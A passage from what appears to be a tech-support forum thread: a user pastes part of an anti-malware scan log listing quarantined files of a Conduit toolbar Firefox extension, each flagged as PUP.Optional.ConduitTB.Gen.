    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\APPLICATION_BUTTON\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\APPLICATION_BUTTON\Js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\APPLICATION_BUTTON\resources\defaultEngineImage.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\bgPage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\css\en.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\css\en_rtl.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\css\jquery.jscrollpane.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\AccountManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\bgPage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\EN.model.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\IMAPExecuter.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Inboxer.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
     
  13. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Invoker.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\MailDecoder.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\MailMerger.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\POP3Executer.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\providerHelper.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Providers.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\SettingsManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Timer.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Translation.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\EMAIL_NOTIFIER\js\Utils.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\embedded.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\css\embedded.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\css\popup.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\css\reset.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\js\embedded.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\js\higlighter_script.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\HIGHLIGHTER\js\popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\css\popup.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\img\arrows.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\img\badges.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\img\icons.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\js\popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\MULTI_RSS\js\resources\webAppUtils.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\embedded.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\NotificationPopup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\Settings.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css\gadget.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css\general.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css\Main.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css\newMain.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css\settings.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\css\ui.stepper.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\closeIcon.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\downArrow.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\settingsIcon.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\upArrow.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\close.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\Next.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\Next_hover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\powered-by.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\Prev.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\Prev_hover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\dark\settings.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\close.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\Next.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\Next_hover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\powered-by.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\Prev.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\Prev_hover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\images\light\settings.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\AppName.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\bgpageEarly.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\commons.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\jquery.ezmark.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\notification.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\NotificationSettings.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\notificationUIManger.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\Settings.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\stepper.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\NOTIFICATION\js\ToolbarAndAppsSettings.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\Optimizer\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\Optimizer\js\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\bgpage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\bgpage.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\PRICE_GONG\pg_offers.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
